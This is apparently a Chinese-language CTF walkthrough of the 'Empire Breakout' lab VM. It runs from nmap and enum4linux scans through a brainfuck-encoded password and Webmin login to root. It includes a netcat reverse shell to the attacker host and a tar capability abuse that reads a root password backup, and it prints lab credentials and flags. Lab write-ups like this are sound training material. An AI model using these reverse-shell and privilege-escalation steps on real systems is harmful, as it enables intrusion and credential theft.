EMPIRE BREAKOUT渗透记录

主机：10.80.56.101
靶机：10.80.56.144

nmap -p- 10.80.56.144

PORT      STATE SERVICE                                                                                                                                                                                            
80/tcp    open  http                                                                                                                                                                                               
139/tcp   open  netbios-ssn                                                                                                                                                                                        
445/tcp   open  microsoft-ds                                                                                                                                                                                       
10000/tcp open  snet-sensor-mgmt                                                                                                                                                                                   
20000/tcp open  dnp 

nmap -sS -sV -A -n 10.80.56.144

PORT      STATE SERVICE     VERSION
80/tcp    open  http        Apache httpd 2.4.51 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.51 (Debian)
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
10000/tcp open  http        MiniServ 1.981 (Webmin httpd)
|_http-server-header: MiniServ/1.981
|_http-title: 200 — Document follows
20000/tcp open  http        MiniServ 1.830 (Webmin httpd)
|_http-title: 200 — Document follows
|_http-server-header: MiniServ/1.830
MAC Address: 08:00:27:A1:BE:32 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

#存在Samba smbd 4.6.2 Webmin httpd服务，可以使用专有工具爆破一下用户名
enum4linux -a 10.80.56.144

S-1-22-1-1000 Unix User\cyber (Local User)   #用户为cyber

#访问主页发现源码含有brainfuck语言代码，解密获取密码
http://10.80.56.144
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.

密码：.2uqPEfj3D<P'a-3
Webmin用户：cyber

#访问Webmin登录页面
https://10.80.56.144:20000/

#获取shell，查看user.txt，获取第一个flag
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

#主机开启6666端口监听
nc -lvvp 6666
#靶机shell连接主机
nc -e /bin/bash 10.80.56.101 6666

#开启交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"

#用户目录下特殊文件，getcap查看具有读取任意文件权限
getcap tar
tar cap_dac_read_search=ep

#查看var下有backup和pass关键字，查看权限拥有者为root
/var/backups/.old_pass.bak
#使用特殊文件压缩提取目标文件，解压
./tar -cvf pass.tar /var/backups/.old_pass.bak
tar -xvf pass.tar

#获取root密码
cat .old_pass.bak
Ts&4&YurgtRX(=~h

#提权成功
su

#通关靶机
cat rOOt.txt
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}

Author: Icex64 & Empire Cybersecurity